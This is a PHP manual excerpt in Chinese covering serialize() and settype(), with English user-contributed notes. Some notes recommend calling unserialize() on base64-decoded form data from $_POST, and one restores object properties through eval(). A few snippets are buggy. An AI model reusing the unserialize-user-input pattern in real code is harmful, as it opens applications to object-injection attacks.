        echo "<b>".htmlspecialchars($key)."</b> => <code>".htmlspecialchars($val)."</code><br />";
      break;
      default:
        echo "<b>".htmlspecialchars($key)."</b> => ".gettype($val)."<br />";
      break; }
    echo "\n"; }
  echo "</div>\n"; }

?>

The function as it is now does not support the $return parameter as print_r does and will create an endless loop like print_r did in php-versions < 4.0.3 when there is an element which contains a reference to a variable inside of the array to print out :-/

I've tested it with PHP 5.0.6 and PHP 4.2.3 - no problems except those already mentioned.

please e-mail me if you've got a solution for the problems i've mentioned, i myself are not able to solve them 'cause i don't know how the hell i can find out whether a variable is a reference or not.
general at NOSPAMbugfoo dot com 20-Jan-2005 01:23
You can't use print_r($var, TRUE) inside a function which is a callback from ob_start() or you get the following error:
Fatal error: print_r(): Cannot use output buffering in output buffering display handlers


生成值的可存储表示

  • ? print_r
  • settype ?
  • PHP Manual
  • 变量处理函数
  • 生成值的可存储表示

serialize

(PHP 4, PHP 5, PHP 7, PHP 8)

serialize — 生成值的可存储表示

说明

serialize(mixed $value): string

生成值的可存储表示。

这有利于存储或传递 PHP 的值，同时不丢失其类型和结构。

想要将已序列化的字符串变回 PHP 的值，可使用 unserialize()。

参数

value

要序列化的值。serialize() 处理所有的类型，除了 resource 类型和一些 object（见下面的注释）。serialize() 甚至可以序列化包含对自身引用的数组。数组/对象内的循环引用也会被存储。其它任何引用都会丢失。

序列化对象时，PHP 将尝试在序列化之前调用成员函数 __serialize() 或
__sleep()。这是为了允许对象在序列化之前进行最后一分钟的清理等等。同样，当使用
unserialize() 恢复对象时，会调用 __unserialize()
或 __wakeup() 成员函数。

Note:

对象的 private 成员会在名前添加类名；protected 成员会在名前添加"*"；这些前置值在两边都有 null 字节。

返回值

返回字符串，包含 value 的字节流表示，可以存储在任何地方。

注意这可能是包含 null 字节的二进制字符串，需要按原样存储和处理。例如，serialize() 的输出通常应该存储在数据库中 的 BLOB 字段，而不是 CHAR 或 TEXT 字段。

示例

Example #1 serialize() 示例

<?php
// $sssion_data 是多维数组，包含当前用户的
// 会话信息。可以在请求结束时使用 serialize()
// 将其存储在数据库中。

$conn = odbc_connect("webdb", "php", "chicken");
$stmt = odbc_prepare($conn,
"UPDATE sessions SET data = ? WHERE id = ?");
$sqldata = array (serialize($session_data), $_SERVER['PHP_AUTH_USER']);
if (!odbc_execute($stmt, $sqldata)) {
$stmt = odbc_prepare($conn,
"INSERT INTO sessions (id, data) VALUES(?, ?)");
if (!odbc_execute($stmt, array_reverse($sqldata))) {
/* Something went wrong.. */
}
}
?>

注释

Note:

注意许多内置 PHP 对象不能序列化。然而，要么实现 Serializable 接口，要么实现 __serialize()/__unserialize() 或 __sleep()/__wakeup() 魔术方法的则是可以的。如果内部类不满足这些其中任意一个，则就不能可靠的进行序列化。

上述规则有一些历史例外，一些内部对象可以在不实现接口或公开方法的情况下，使其序列化。

Warning

当 serialize() 序列化对象时，命名空间中的类名不要以反斜线开头，以便实现最大兼容性。

参见

  • unserialize() - 从已存储的表示中创建 PHP 的值
  • var_export() - 输出或返回变量的可解析字符串表示
  • json_encode() - 对变量进行 JSON 编码
  • 序列化对象
  • __sleep()
  • __wakeup()
  • __serialize()
  • __unserialize()

User Contributed Notes

mark at bvits dot co dot uk 09-Feb-2023 01:05
There is a type not mentioned in the user notes so far, 'E'.  This is the newer Enum class that can be utilised:

login_security|E:25:"Permission:manageClient"
synnus 11-Nov-2021 07:57
https://stackoverflow.com/questions/22308365/get-string-representation-of-anonymous-function

https://3v4l.org/CEmqV

UPDATE PHP8

    <?php

    function closure_to_str($func)
    {
        $refl = new \ReflectionFunction($func); // get reflection object
        $path = $refl->getFileName();  // absolute path of php file
        $begn = $refl->getStartLine(); // have to `-1` for array index
        $endn = $refl->getEndLine();
        $dlim = PHP_EOL;
        $list = explode($dlim, file_get_contents($path));         // lines of php-file source
        $list = array_slice($list, ($begn-1), ($endn-($begn-1))); // lines of closure definition
        $last = (count($list)-1); // last line number

        if((substr_count($list[0],'function')>1)|| (substr_count($list[0],'{')>1) || (substr_count($list[$last],'}')>1))
        { throw new \Exception("Too complex context definition in: `$path`. Check lines: $begn & $endn."); }

        $list[0] = ('function'.explode('function',$list[0])[1]);
        $list[$last] = (explode('}',$list[$last])[0].'}');

        return implode($dlim,$list);
    }

    $dog2 = function(){
        return 'test';
    };

    echo closure_to_str($dog2)."\n\n";
?>

Return String

    function(){
        return 'test';
    }
Kantin Charignon 15-Jun-2018 02:50
I did the same test as MiChAeLoKGB but in another version of PHP.
I don't post his code because I executed exactly the same script (after correcting a small variable naming error and add a line to display the PHP version).

PHP version: 7.1.9
PHP serialized in 0.0032186679840088 seconds average
JSON encoded in 0.0035939190387726 seconds average
serialize() was roughly 11.66% faster than json_encode()
Test took 6.8132710456848 seconds with 1000 iterations.

It would seem that in the current version of PHP the serialize function is faster.
lincoln dot du dot j at gmail dot com 11-Jul-2017 05:48
class A{
    public $tumi='Ami';
    public $ami='Tumi';

    public function ami(){
        $this->ami='You love me.';
    }
    public function tumi(){
        $this->tumi="I love you.";
    }
}
$obj=new A;
$serial=serialize($obj);

echo $serial;

echo PHP_EOL;

$uns=unserialize($serial);

print_r($uns);
sinus-php at sinpi dot net 03-Jul-2017 01:49
Here's a serialization function that doesn't serialize objects (it could, I just didn't care for that) but writes straight to a file. Very useful if you run out of memory when trying to serialize that 5-level nested 100000-entry array of strings.

Call it with the subject variable and a file name, it'll do the rest.

<?php
function serialize_to_file($subject,$file,$level=0) {
    if ($level==0) {
        $file=fopen($file,"w");
        if (!$file) return FALSE;
    }
    if (is_numeric($subject))
        fputs($file,"i:".$subject);
    elseif (is_string($subject))
        fputs($file,"s:".strlen($subject).":\"".addslashes($subject)."\"");
    elseif (is_bool($subject))
        fputs($file,"b:".($subject?1:0));
    elseif (is_array($subject)) {
        $keys = array_keys($subject);
        fputs($file,"a:".count($keys).":{");
        foreach ($keys as $key) {
            flat_serialize_to_file($key,$file,$level+1);
            fputs($file,";");
            flat_serialize_to_file($subject[$key],$file,$level+1);
            if (!is_array($subject[$key])) fputs($file,";");
        }
        fputs($file,"}");
    }
    if ($level==0)
        fclose($file);
}
?>
Anonymous 28-Dec-2016 05:10
If you want write something strange, like string array to binary string, and you are afraid 0-days of php's serialize function, you can use this.

Out:

string(88) "031a000a0001004c6f72..."
array(3) {
  [0]=>
  string(26) "Lorem ipsum dolor sit amet"
  [1]=>
  string(10) "8726348723"
  [2]=>
  string(1) "1"
}
string(152) "1c5e108afdec7c27a..."
array(3) {
  [0]=>
  string(26) "Lorem ipsum dolor sit amet"
  [1]=>
  string(10) "8726348723"
  [2]=>
  string(1) "1"
}

<?php

$arrToPack = array('Lorem ipsum dolor sit amet', 8726348723, true);

$packer = new ArraysPack();
$packer->privateKey = hash('sha256', 'k6LYiB8cnr5ESBMpVUBdC3c73Mt52p8w' ,true);

$dataPacked = $packer->pack($arrToPack);
$dataUnpacked = $packer->unPack($dataPacked);

$dataHMACPacked = $packer->hmacPack($arrToPack);
$dataHMACUnpacked = $packer->hmacUnPack($dataHMACPacked);

var_dump(bin2hex($dataPacked));
var_dump($dataUnpacked);

var_dump(bin2hex($dataHMACPacked));
var_dump($dataHMACUnpacked);

class ArraysPack
{
    public $hmacAlgo = 'sha256';
    public $hmacLen = 32;
    public $privateKey = '';

    public function hmacPack($array)
    {
        if(($ret = $this->pack($array)) === false)
            return false;

        $hmacHash = hash_hmac($this->hmacAlgo, $ret, $this->privateKey, true);
        return $hmacHash.$ret;
    }

    public function hmacUnPack($binaryString)
    {
        if(strlen($binaryString) < $this->hmacLen)
            return false;

        $hmacHash = substr($binaryString, 0, $this->hmacLen);
        $binaryString = substr($binaryString, $this->hmacLen);
        $binaryStringHash = hash_hmac($this->hmacAlgo, $binaryString, $this->privateKey, true);

        // Timing attack safe string comparison
        if(hash_equals($hmacHash, $binaryStringHash) === false)
            return false;

        return $this->unPack($binaryString);
    }

    public function pack($array)
    {
        if(!is_array($array))
            return false;

        $cnt = count($array);
        $header = pack('C', $cnt);
        $bin = '';

        for($i=0;$i<$cnt;$i++) {
            if(($strLen = strlen($array[$i])) > 65535 || $strLen === 0)
                return false;

            $header .= pack('S', $strLen);
            $bin .= $array[$i];
        }

        return $header.$bin;
    }

    public function unPack($bin)
    {
        if(empty($bin))
            return false;

        $arr = array();
        $cnt = unpack('C', $bin);
        $cnt = $cnt[1];

        if(!isset($bin[$cnt * 4]))
            return false;

        $header = substr($bin, 1, $cnt * 4);
        $bin = substr($bin, ($cnt * 2)+1);
        $int = unpack('S'.$cnt, $header);

        for($i=1;$i<=$cnt;$i++) {
            $val = substr($bin, 0, $int[$i]);

            if($val === false)
                return false;

            $arr[] = $val;
            $bin = substr($bin, $int[$i]);
        }

        if($bin !== false)
            return false;

        return $arr;
    }
}
?>
MiChAeLoKGB 23-May-2015 05:28
I did some testing to see the speed differences between serialize and json_encode, and my results with 250 iterations are:

PHP serialized in 0.0651714730263 seconds average
JSON encoded in 0.0254955434799 seconds average
json_encode() was roughly 155.62% faster than serialize()
Test took 27.2039430141 seconds with 300 iretations.

PHP serialized in 0.0564563179016 seconds average
JSON encoded in 0.0249140485128 seconds average
json_encode() was roughly 126.60% faster than serialize()
Test took 24.4148340225 seconds with 300 iretations.

From all my tests it looks like json_encode is on average about 120% faster (sometimes it gets to about 85% and sometimes to 150%).

Here is the PHP code you can run on your server to try it out:

<?php

// fillArray function myde by Peter Bailey
function fillArray($depth, $max){
    static $seed;
    if (is_null($seed)){
        $seed = array('a', 2, 'c', 4, 'e', 6, 'g', 8, 'i', 10);
    }
    if ($depth < $max){
        $node = array();
        foreach ($seed as $key){
            $node[$key] = fillArray( $depth + 1, $max );
        }
        return $node;
    }
    return 'empty';
}

function testSpeed($testArray, $iterations = 100){

    $json_time = array();
    $serialize_time = array();
    $test_start = microtime(true);

    for ($x = 1; $x <= $iterations; $x++){
        $start = microtime(true);
        json_encode($testArray);
        $json_time[] = microtime(true) - $start;

        $start = microtime(true);
        serialize($testArray);
        $serialize_time[] = microtime(true) - $start;
    }

    $test_lenght = microtime(true) - $test_start;
    $json_average = array_sum($json_time) / count($json_time);
    $serialize_average = array_sum($serialize_time) / count($serialize_time);

    $result = "PHP serialized in ".$serialize_average." seconds average<br>";
    $result .= "JSON encoded in ".$json_average." seconds average<br>";

    if ($json_average < $serialize_average){
        $result .= "json_encode() was roughly ".number_format( ($serialize_average / $json_average - 1 ) * 100, 2 )."% faster than serialize()<br>";
    } else if ( $serializeTime < $jsonTime ){
        $result .= "serialize() was roughly ".number_format( ($json_average / $serialize_average - 1 ) * 100, 2 )."% faster than json_encode()<br>";
    } else {
        $result .= "No way!<br>";
    }

    $result .= "Test took ".$test_lenght." seconds with ".$iterations." iterations.";

    return $result;

}

// Change the number of iterations (250) to lower if you exceed your maximum execution time
echo testSpeed(fillArray(0, 5), 250);

?>
Anonymous 14-Apr-2015 01:57
For everyone facing the conversion nightmare another Anonymous described here in an older comment (and he took the words out of my mouth), this T-SQL script might be of great help: https://github.com/mjohnsonperl/tsqlphpunserialize/tree/master.

Please do not follow the path of evil by dumping serialized data into relational databases.
tuxedobob 04-Jun-2014 04:36
When using serialize() to convert, say, an array to a string to pass via HTML forms, you will likely run into issues with quoting. This is because serialize() puts values in double quotes. The simplest solution is to quote your HTML form value with single quotes rather than double quotes. (This *is* allowed, according to W3C specs.)

So, instead of:

<?php
$arr = serialize($some_array);
?>
<input type="hidden" name="array" value="$arr" />

you would want to use:

<?php
$arr = serialize($some_array);
?>
<input type="hidden" name="array" value='$arr' />
Nanhe Kumar 27-Dec-2013 05:57
Note : You cannot save the state of a static variable by serializing.
<?php
/*
 * student.class.php
 */
class Student {

    public $name;
    private $roll;
    protected $age;
    static $class;

    public function __construct() {
        $this->name = "Nanhe Kumar";
        $this->roll = 1;
        $this->age = 16;
        Student::$class = "10+2";
    }

}
?>
<?php
/**
 * serialize.php
 */
include_once("student.class.php");

//Serialize
$so = new Student();
$serialized = serialize($so);
file_put_contents("test.txt", $serialized);
echo $serialized; //O:7:"Student":3:{s:4:"name";s:11:"Nanhe Kumar";s:13:"Studentroll";i:1;s:6:"*age";i:16;}
?>
<?php
/**
 * unserialize.php
 */
include_once("student.class.php");
$content = file_get_contents("test.txt");
$unserialized = unserialize($content);
print_r($unserialized);//Student Object ( [name] => Nanhe Kumar [roll:Student:private] => 1 [age:protected] => 16 )
?>
frost at easycast dot ru 23-Sep-2013 10:56
Closures cannot be serialized:
<?php
$func = function () {echo 'hello!';};
$func(); // prints "hello!"

$result = serialize($func);  // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'
?>
allan666 at gmail.com 07-Mar-2013 01:28
Oddly, if you serialize a class that was previously unserialized, the class of the variable changes to string... Example:

$R = unserialize($serialized_object);
$R->method(); // this is ok
$str = serialize($R);
echo(get_class($R));

this will output "string"!!!!! whereas if the first line was

$R = new my_class();

it would output "my_class"!

I don't know if that is a bug, but the manual is not clear about that! (somehow $R in serialize($R) is being passed by reference, since it changes class).
nh at ngin dot de 21-Jan-2013 09:59
Serializing floating point numbers leads to weird precision offset errors:

<?php

echo round(96.670000000000002, 2);
// 96.67

echo serialize(round(96.670000000000002, 2));
// d:96.670000000000002;

echo serialize(96.67);
// d:96.670000000000002;

?>

Not only is this wrong, but it adds a lot of unnecessary bulk to serialized data. Probably better to use json_encode() instead (which apparently is faster than serialize(), anyway).
Andrew B 05-Sep-2012 09:42
When you serialize an array the internal pointer will not be preserved. Apparently this is the expected behavior but was a bit of a gotcha moment for me. Copy and paste example below.

<?php
//Internal Pointer will be 2 once variables have been assigned.
$array = array();
$array[] = 1;
$array[] = 2;
$array[] = 3;

//Unset variables. Internal pointer will still be at 2.
unset($array[0]);
unset($array[1]);
unset($array[2]);

//Serialize
$serializeArray = serialize($array);

//Unserialize
$array = unserialize($serializeArray);

//Add a new element to the array
//If the internal pointer was preserved, the new array key should be 3.
//Instead the internal pointer has been reset, and the new array key is 0.
$array[] = 4;

//Expected Key - 3
//Actual Key - 0
echo "<pre>" , print_r($array, 1) , "</pre>";
?>
Anonymous 28-Feb-2012 07:44
Please! please! please! DO NOT serialize data and place it into your database. Serialize can be used that way, but that's missing the point of a relational database and the datatypes inherent in your database engine. Doing this makes data in your database non-portable, difficult to read, and can complicate queries. If you want your application to be portable to other languages, like let's say you find that you want to use Java for some portion of your app that it makes sense to use Java in, serialization will become a pain in the buttocks. You should always be able to query and modify data in the database without using a third party intermediary tool to manipulate data to be inserted.

I've encountered this too many times in my career, it makes for difficult to maintain code, code with portability issues, and data that is it more difficult to migrate to other RDMS systems, new schema, etc. It also has the added disadvantage of making it messy to search your database based on one of the fields that you've serialized.

That's not to say serialize() is useless. It's not... A good place to use it may be a cache file that contains the result of a data intensive operation, for instance. There are tons of others... Just don't abuse serialize because the next guy who comes along will have a maintenance or migration nightmare.
pgl at yoyo dot org 03-Feb-2011 09:13
Another suggestion for coping with binary data in serialize()d variables is just to base64_encode() those fields before serializing. It will increase the size of the variable, but not by too much.
travis at travishegner dot com 02-Mar-2010 12:37
If serializing objects to be stored into a postgresql database, the 'null byte' injected for private and protected members throws a wrench into the system. Even pg_escape_bytea() on the value, and storing the value as a binary type fails under certain circumstances.

For a dirty work around:
<?php

$serialized_object = serialize($my_object);
$safe_object = str_replace("\0", "~~NULL_BYTE~~", $serialized_object);

?>

this allows you to store the object in a readable text format as well. When reading the data back:

<?php

$serialized_object = str_replace("~~NULL_BYTE~~", "\0", $safe_object);
$my_object = unserialize($serialized_object);

?>

The only gotcha's with this method is if your object member names or values may somehow contain the odd "~~NULL_BYTE~~" string. If that is the case, then str_replace() to a string that you are guaranteed not to have any where else in the string that serialize() returns.
Also remember to define the class before calling unserialize().

If you are storing session data into a postgresql database, then this workaround is an absolute must, because the $data passed to the session's write function is already serialized.

Thanks,
Travis Hegner
Anonymous 21-Jan-2010 09:23
you should really use mysql_real_escape_string() for escaping (serialized) strings that got thrown into a query (visit php.net/mysql_real_escape_string for further information)
donotmail at me dot com 02-Sep-2009 11:16
NOTE: php's serialize does not properly serialize arrays with which a slice of the array is a reference to the array itself, observe:

<?php
$a = array();
$a[0] = "blah";
$a[1] =& $a;

$a[1][0] = "pleh"; // $a[0] === "pleh"

$b = unserialize(serialize($a));

// $b[0] == "pleh", $b[1][0] == "pleh"

$b[1][0] = "blah";
?>

now $b[1][0] == "blah", but $b[0] == "pleh"
after serializing and unserializing, slice 1 is no longer a reference to the array itself... I have found no way around this problem... even manually modifying the serialized string from
'a:2:{i:0;s:4:"pleh";i:1;a:2:{i:0;s:4:"pleh";i:1;R:3;}}'
to
'a:2:{i:0;s:4:"pleh";i:1;R:1;}'

to force the second slice to be a reference to the first element of the serialization (the array itself), it seemed to work at first glance, but then unreferences it when you alter it again, observe:

<?php
    $testser = 'a:2:{i:0;s:4:"pleh";i:1;R:1;}';

    $tmp = unserialize($testser);

    print_r($tmp);

    print "\n-----------------------\n";

    $tmp[1][0] = "blah";

    print_r($tmp);

?>

outputs:
Array
(
    [0] => pleh
    [1] => Array
 *RECURSION*
)

-----------------------
Array
(
    [0] => pleh
    [1] => Array
        (
            [0] => blah
            [1] => Array
                (
                    [0] => pleh
                    [1] => Array
 *RECURSION*
                )

        )

)
Alessandro Segala 17-Jul-2009 08:18
I needed to serialize an array to store it inside a database.
I was looking for a fast, simple way to do serialization, and I came out with 2 options: serialize() or json_encode().

I ran some benchmarks to see which is the faster, and, surprisingly, I found that serialize() is always between 46% and 96% SLOWER than json_encode().
So, if you don't need to serialize objects and have the json extension available, consider using it instead of serialize().
barbuj at NOSPAM dot yahoo dot com 14-Nov-2007 02:19
In my specific situation, I wanted to be able to pass some data from page to page, but without relying on a session variable. The answer I came up with was to serialize() the object in question, pass it on to the next page as a hidden form field, then unserialize() it. When ALL class variables are public, this worked fine. However, if there was at least one private/protected variable, the code no longer worked as expected ("Fatal error: Call to a member function display() on a non-object in page2.php on line 4")

As others have already mentioned, private/protected class variables will not behave nicely (private variables are prefixed by class_name + &#65533;, while protected variables are only prefixed by &#65533; - when looking at the page source using Firefox). Internet Explorer does NOT display the extra character between the class name and variable name, but the code still doesn't work as one would expect.

Suppose you have a simple class:

testclass.php
=============
<?php
class TestClass {
  var $i = 1;

  function display() {
    echo "i=" . $this->i;
  }
?>

page1.php
=========
<?php
  require_once 'testclass.php';
  $tc = new TestClass;
  $tc->display();
?>
<form method = "post" action = "page2.php">
<input type = "hidden" name = "str" value = "<?php echo htmlspecialchars( serialize( $tc ) ); ?>">
<input type = "submit">
</form>

page2.php
=========
<?php
  require_once 'testclass.php';
  $tc = unserialize( stripslashes( htmlspecialchars_decode( $_POST["str"] ) ) );
  $tc->display();
?>

The fix, suggested by evulish on #php/irc.dal.net, is to replace htmlspecialchars()/htmlspecialchars_decode() by base64_encode()/base64_decode. The code becomes:

page1.php
=========
<input type = "hidden" name = "str" value = "<?php echo base64_encode( serialize( $tc ) ); ?>">

page2.php
=========
<?php
  $tc = unserialize( base64_decode( $_POST["str"] ) );
?>

Hope this will help someone...
Jeex 06-Nov-2007 02:59
It may be worth noting that, depending on the size of the object you are serializing, the serialize function can take up a lot of memory.

If your script isn't working as expected, your serialize call may have pushed the memory usage over the limit set by memory_limit in php.ini.

More info on memory limits here: http://www.php.net/manual/en/ini.core.php
friday13 at ig dot com dot br 19-Jun-2007 07:15
I have problem to use serialize function with hidden form field and the resolution was use htmlentities.

Ex.:

<?

$lista = array( 'pera', 'ma?a', 'laranja' );

print "< input type='hidden' name='teste' value='htmlentities( serialize( $lista ) )'" >";

?>
Ates Goral 18-Jul-2006 11:59
Corrections/clarifications to  "Anatomy of a serialize()'ed value":

All strings appear inside quotes. This applies to string values, object class names and array key names. For example:

s:3:"foo"
O:7:"MyClass":1:{...
a:2:{s:3:"bar";i:42;...

Object property names and values are delimited by semi-colons, not colons. For example:

O:7:"MyClass":2:{s:3:"foo";i:10;s:3:"bar";i:20}

Double/float values are represented as:

d:0.23241446
egingell at sisna dot com 15-May-2006 05:12
<?
/*
Anatomy of a serialize()'ed value:

 String
 s:size:value;

 Integer
 i:value;

 Boolean
 b:value; (does not store "true" or "false", does store '1' or '0')

 Null
 N;

 Array
 a:size:{key definition;value definition;(repeated per element)}

 Object
 O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

 String values are always in double quotes
 Array keys are always integers or strings
    "null => 'value'" equates to 's:0:"";s:5:"value";',
    "true => 'value'" equates to 'i:1;s:5:"value";',
    "false => 'value'" equates to 'i:0;s:5:"value";',
    "array(whatever the contents) => 'value'" equates to an "illegal offset type" warning because you can't use an
    array as a key; however, if you use a variable containing an array as a key, it will equate to 's:5:"Array";s:5:"value";',
     and
    attempting to use an object as a key will result in the same behavior as using an array will.
*/
?>
MC_Gurk at gmx dot net 03-Jan-2006 07:44
If you are going to serialie an object which contains references to other objects you want to serialize some time later, these references will be lost when the object is unserialized.
The references can only be kept if all of your objects are serialized at once.
That means:

$a = new ClassA();
$b = new ClassB($a); //$b containes a reference to $a;

$s1=serialize($a);
$s2=serialize($b);

$a=unserialize($s1);
$b=unserialize($s2);

now b references to an object of ClassA which is not $a. $a is another object of Class A.

use this:
$buf[0]=$a;
$buf[1]=$b;
$s=serialize($buf);
$buf=unserialize($s);
$a=$buf[0];
$b=$buf[1];

all references are intact.
Alexander Podgorny 02-Dec-2005 11:47
Here is an example of a base class to implement object persistence using serialize and unserialize:

<?php
class Persistent
{
    var $filename;

    /**********************/
    function Persistent($filename)
    {
        $this->filename = $filename;
        if(!file_exists($this->filename)) $this->save();
    }
    /**********************/
    function save()
    {
        if($f = @fopen($this->filename,"w"))
        {
            if(@fwrite($f,serialize(get_object_vars($this))))
            {
                @fclose($f);
            }
            else die("Could not write to file ".$this->filename." at Persistant::save");
        }
        else die("Could not open file ".$this->filename." for writing, at Persistant::save");

    }
    /**********************/
    function open()
    {
        $vars = unserialize(file_get_contents($this->filename));
        foreach($vars as $key=>$val)
        {
            eval("$"."this->$key = $"."vars['"."$key'];");
        }
    }
    /**********************/
}

?>

When an object is extended from this one it can be easily saved and re-opened using it's own methods as follows:

<?

class foo extends Persistent
{
   var $counter;
   function inc()
   {
       $this->counter++;
   }
}

$fooObj = new $foo;
$foo->open();
print $foo->counter; // displays incrementing integer as page reloads
$foo->inc();
$foo->save();

?>
stephen dot adamson at smius dot com 01-Nov-2005 09:40
If you are serializing an object to store it in the database, using __sleep() can save you some space. The following code will not store empty (null) variables in the serialized string. For my purposes this saved a lot of space, since some of the member variables would not be given values.

function __sleep()
{
    $allVars = get_object_vars($this);
    $toReturn = array();
    foreach(array_keys($allVars) as $name)
    {
        if (isset($this->$name))
        {
            $toReturn[] = $name;
        }
    }
    return $toReturn;
}
wiart at yahoo dot com 16-Dec-2004 03:40
Warning: on 64 bits machines,  if you use a long string only composed of numbers as a key in an array and serialize/unserialize it, you can run into problems:

an example code:
$arr["20041001103319"] = 'test';
var_dump( $arr);
$arr_in_str = serialize($arr);
print "Now result is: $arr_in_str<BR />";
$final_arr = unserialize($arr_in_str);
print "The final unserialized array:<BR />";
var_dump($final_arr);

The result:
array(1) { [20041001103319]=>  string(4) "test" }
Now result is: a:1:{i:20041001103319;s:4:"test";}
The final unserialized array:
array(1) { [683700183]=> string(4) "test" }

As you can see, the original array :
$arr["20041001103319"] = "test"

after serialize/unserialize is:
$arr[683700183] = "test"

As you can see,  the key has changed ...

Apparently a problem of implicit casting + integer overflow (I posted a PHP bug report: http://bugs.php.net/bug.php?id=31117)

I tested with the latest 4.3.10 compiled on my laptop (32 bits, Mandrake 9.1) --> no such problem. But compiled on AMD 64 bits (Red Hat Taroon), the problem is present.

Hope this will help some of you to not loose almost a whole day of debugging ;-)
paul at moveNOtoSPAMiceland DOT com 18-Nov-2004 08:29
I was trying to submit a serialized array through a hidden form field using POST and was having a lot of trouble with the quotes. I couldn't figure out a way to escape the quotes in the string so that they'd show up right inside the form, so only the characters up to the first set of quotes were being sent.

My solution was to base64_encode() the string, put that in the hidden form field, and send that through the POST method. Then I decoded it (using base64_decode()) on the other end. This seemed to solve the problem.
hfuecks at phppatterns dot com 21-Apr-2004 08:20
Regarding serializing PHP data types to Javascript, following Ivans note below, theres an example at http://www.tekool.net/php/js_serializer/.

The basic serialization looks good although, in its current form, it works on the basis of generating Javascript source which a browser executes as a page loads. Using Javascripts eval() the same can be done with strings containing Javascript if youre working with something like XMLHTTPRequest
pli9 at itsa dot ucsf dot edu 31-Jan-2003 11:05
I have also written some code for importing serialized PHP data into PERL and then writing it back into PHP.  I think the similar library posted above is actually more robust for a few select cases, but mine is more compact and a little easier to follow.  I'd really like comments if anyone finds this useful or has improvements.  Please credit me if you use my code.

http://www.hcs.harvard.edu/~pli/code/serialPHP.pm
MarkRoedel at letu dot edu 21-Feb-2000 10:58
A call to serialize() appears to mess with the array's internal pointer.  If you're going to be walking through your array after serializing it, you'll want to make a call to reset() first.


设置变量的类型

  • ? serialize
  • strval ?
  • PHP Manual
  • 变量处理函数
  • 设置变量的类型

settype

(PHP 4, PHP 5, PHP 7, PHP 8)

settype — 设置变量的类型

说明

settype(mixed &$var, string $type): bool

将变量 var 的类型设置成 type。

参数

var

要转换的变量。

type

type 的可能值为：

  • "boolean"或"bool"
  • "integer"或"int"
  • "float"或"double"
  • "string"
  • "array"
  • "object"
  • "null"

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 settype() 示例

<?php
$foo = "5bar"; // string
$bar = true; // boolean

settype($foo, "integer"); // $foo 现在是 5 (integer)
settype($bar, "string"); // $bar 现在是 "1" (string)
?>

注释

Note:

"int"的最小值是 PHP_INT_MAX。

参见

  • gettype() - 获取变量的类型
  • 类型转换
  • 类型戏法

User Contributed Notes

DarkMaster 17-Apr-2021 07:08
<?php
/*
This example works 4x faster than settype() function in PHP-CGI 5.4.13 and
8x faster in PHP-CGI 7.1.3(x64) for windows
*/

$v = '12345';

$v = (int)$v;
$v = (string)$v;

?>
geoffsmiths at hotmail dot com 24-Dec-2019 10:23
Please note:

When using settype to convert indexed arrays to objects, the properties of the typed object will be integers:

A brief example:

$a = ['1', '2'];

settype($a, 'object');

var_dump($a);

// output
object(stdClass)#1 (2) {
  ["0"]=>
  string(1) "1"
  ["1"]=>
  string(1) "2"
}
Anonymous 04-Jan-2019 01:41
If you attempt to convert the special $this variable from an instance method (only in classes) :
* PHP will silently return TRUE and leave $this unchanged if the type was 'bool', 'array', 'object' or 'NULL'
* PHP will generate an E_NOTICE if the type was 'int', 'float' or 'double', and $this will not be casted
* PHP will throw a catchable fatal error when the type is 'string' and the class does not define the __toString() method
Unless the new variable type passed as the second argument is invalid, settype() will return TRUE. In all cases the object will remain unchanged.
<?php
    // This was tested with PHP 7.2
    class Foo {
        function test() {
            printf("%-20s %-20s %s\n", 'Type', 'Succeed?', 'Converted');

            // settype() should throw a fatal error, as $this cannot be re-assigned
            printf("%-20s %-20s %s\n", 'bool', settype($this, 'bool'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'int', settype($this, 'int'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'float', settype($this, 'float'), print_r($this));
            printf("%-20s %-20s %s\n", 'array', settype($this, 'array'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'object', settype($this, 'object'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'unknowntype', settype($this, 'unknowntype'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'NULL', settype($this, 'NULL'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'string', settype($this, 'string'), print_r($this, TRUE));
        }
    }
    $a = new Foo();
    $a->test();
?>
Here is the result :
Type                 Succeed?             Converted
bool                 1                    Foo Object
(
)

Notice: Object of class Foo could not be converted to int in C:\php\examples\oop-settype-this.php on line 9

int                  1                    Foo Object
(
)

Notice: Object of class Foo could not be converted to float in C:\php\examples\oop-settype-this.php on line 10

float                1                    Foo Object
(
)

array                1                    Foo Object
(
)

object               1                    Foo Object
(
)

Warning: settype(): Invalid type in C:\php\examples\oop-settype-this.php on line 14

unknowntype                               Foo Object
(
)

NULL                 1                    Foo Object
(
)

Catchable fatal error: Object of class Foo could not be converted to string in C:\php\examples\oop-settype-this.php on line 15

If the class Foo implements __toString() :
<?php
    class Foo {
        // ...
        function __toString() {
            return 'Foo object is awesome!';
        }
        // ...
    }
?>
So the first code snippet will not generate an E_RECOVERABLE_ERROR, but instead print the same string as for the other types, and not look at the one returned by the __toString() method.

Hope this helps !  :)
Skayo 26-Jul-2017 08:59
$foo = "1";
settype($foo, "bool");
var_dump($foo); // Outputs: bool(true)

$bar = "0";
settype($bar, "bool");
var_dump($bar); // Outputs: bool(false)
marjune 10-Nov-2016 05:31
any digit except 0 or -0 are considered true in boolean, and any string except '0' or '' are also considered true.

<?php

$foo = '0';
settype($foo, 'boolean');
var_dump($foo); // false

$foo = 0;
settype($foo, 'boolean');
var_dump($foo); // false
Special Notes 26-Feb-2012 12:00
Note that you can't use this to convert a string 'true' or 'false' to a boolean variable true or false as a string 'false' is a boolean true. The empty string would be false instead...

<?php
$var = "true";
settype($var, 'bool');
var_dump($var); // true

$var = "false";
settype($var, 'bool');
var_dump($var); // true as well!

$var = "";
settype($var, 'bool');
var_dump($var); // false
?>
Chris Sullins 18-Apr-2010 11:59
settype() has some really strange, potentially buggy behavior.

As noted by Michael Benedict, using settype() on a variable will initialize that variable.  What is stranger is that using settype() on an uninitialized variable that you are treating as an array or object will also initialize the variable.  So:

<?php
settype($foo->bar,"integer"); // stdClass Object ( [test] => 0 )
?>

This works for a chain of any length: $foo->bar['baz']->etc

Next we look at what happens if $foo is already set.

<?php
$foo = false;
settype($foo->bar,"integer"); // stdClass Object ( [test] => 0 )
?>

